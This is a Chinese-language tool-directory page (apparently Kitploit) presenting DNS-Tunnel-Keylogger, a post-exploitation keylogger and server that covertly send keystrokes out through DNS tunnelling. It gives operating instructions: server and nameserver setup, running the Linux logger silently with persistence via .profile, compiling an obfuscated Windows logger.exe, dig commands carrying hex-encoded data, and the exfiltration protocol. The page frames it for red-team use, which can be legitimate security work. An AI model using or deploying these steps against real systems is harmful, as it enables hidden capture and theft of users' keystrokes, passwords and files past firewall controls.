Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNS-Tunnel-Keylogger — 键盘记录服务器与客户端,利用 DNS 隧道/外泄技术通过防火墙传输按键记录。 | Kitploit
工具/GitHubGitHub/geeoon/dns-tunnel-keylogger
数据泄露后渗透利用命令与控制红队DNS 分析
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

键盘记录服务器与客户端,利用 DNS 隧道/外泄技术通过防火墙传输按键记录。

查看仓库
28045222年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DNS隧道键盘记录器

这是一个后渗透阶段的键盘记录器,能够隐秘地将按键记录外泄到服务器。

这些工具擅长轻量级的外泄和持久化,这些特性有助于避免检测。它利用DNS隧道/外泄技术绕过防火墙并躲避检测。

服务器

设置

服务器使用python3。

要安装依赖项,运行 python3 -m pip install -r requirements.txt

启动服务器

要启动服务器,运行 python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

默认情况下,服务器监听UDP 53端口。使用 -p 标志指定其他端口。

ip 是服务器的IP地址。它用于SOA和NS记录,以便其他名称服务器能够找到该服务器。

domain 是服务器监听的域名,该域名应为服务器所授权的域名。

注册商

在注册商处,你需要将域名的名称服务器更改为自定义DNS。

将它们指向两个域名:ns1.example.com 和 ns2.example.com。

Spaceship上的自定义DNS

添加记录,将名称服务器域名指向你的外泄服务器IP地址。

Spaceship上的个人名称服务器

这与设置粘合记录相同。

客户端

Linux

Linux键盘记录器由两个bash脚本组成。connection.sh 被 logger.sh 脚本用于将按键发送到服务器。如果你想手动发送数据(例如文件),可以将数据通过管道传递给 connection.sh 脚本。它会自动建立连接并发送数据。

logger.sh

Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

要启动键盘记录器,运行命令 ./logger.sh [domain] && exit。这将以静默模式启动键盘记录器,任何输入都会被发送。末尾的 && exit 会在退出时关闭shell。如果没有它,退出后会返回到未记录按键的shell。移除 &> /dev/null 可以显示错误消息。

-p 选项用于指定临时日志文件的位置,所有输入都会被发送到该文件。默认位置是 /tmp/。

-l 选项会显示警告和错误。可用于调试。

logger.sh 和 connection.sh 必须位于同一目录下,键盘记录器才能正常工作。如果需要持久化,可以将命令添加到 .profile 中,以便在每个新的交互式shell启动时自动运行。

connection.sh

Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

编译

要编译键盘记录程序,在 windows 目录下运行 make。若要编译为较小体积并具有一定混淆性的版本,请使用 production 目标。这将在 build 目录下创建输出文件 logger.exe。我仅在Windows 10上使用MinGW测试过编译。如果尝试在非Windows机器上使用 g++,很可能会遇到与 windows.h 相关的编译错误。

make production domain=example.com

你也可以通过 debug 目标编译带调试功能的程序。

make debug domain=example.com

对于两个目标,你都需要指定服务器监听的域名。

发送测试请求

你可以使用 dig 向服务器发送请求:

dig @127.0.0.1 a.1.1.1.example.com A +short 向本地主机上的服务器发送连接请求。

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short 向本地主机发送测试消息。

将 example.com 替换为服务器监听的域名。

协议

建立连接

以 a 开头的A记录请求表示“连接”的开始。当服务器接收到此类请求时,它会回复一个假的非保留IP地址,其最后一个八位组包含客户端的ID。

以下是建立连接时应遵循的格式:a.1.1.1.[sld].[tld].

服务器将以以下格式回复一个IP地址:123.123.123.[id]

并发连接数不能超过254,且客户端永远不会被视为“已断开”。

外泄数据

以 b 开头的A记录请求表示向服务器发送的外泄数据。

以下是建立连接后发送数据时应遵循的格式:b.[数据包编号].[id].[数据].[sld].[tld].

服务器将以 [代码].123.123.123 格式回复。

id 是连接时建立的ID。数据以ASCII码的十六进制编码形式发送。

代码 是下面描述的代码之一。

响应代码

200:正常

如果客户端发送的请求被正常处理,服务器将响应代码 200。

201:格式错误的记录请求

如果客户端发送了格式错误的记录请求,服务器将响应代码 201。

202:不存在的连接

如果客户端发送的数据包ID大于当前连接数,服务器将响应代码 202。

203:乱序数据包

如果客户端发送的数据包ID与预期不符,服务器将响应代码 203。客户端和服务器应将数据包编号重置为0。然后客户端可以重新发送具有新数据包ID的数据包。

204:达到最大连接数

如果客户端在达到最大连接数时尝试建立连接,服务器将响应代码 204。

丢包处理

客户端应依赖服务器的响应作为收到数据包的确认。如果没有收到响应,应重新发送相同的载荷。

附注

Linux

日志文件

包含用户输入的日志文件含有ASCII控制字符,例如退格、删除和回车。如果使用 cat 等工具打印内容,应选择适当的选项来打印ASCII控制字符,例如 cat -v,或者使用文本编辑器打开。

非交互式Shell

键盘记录器依赖于 script,因此它不会在非交互式Shell中运行。

Windows

重复请求

出于某种原因,Windows的 Dns_Query_A 总是发送重复请求。服务器会正常处理,因为它会丢弃重复的数据包。

下载工具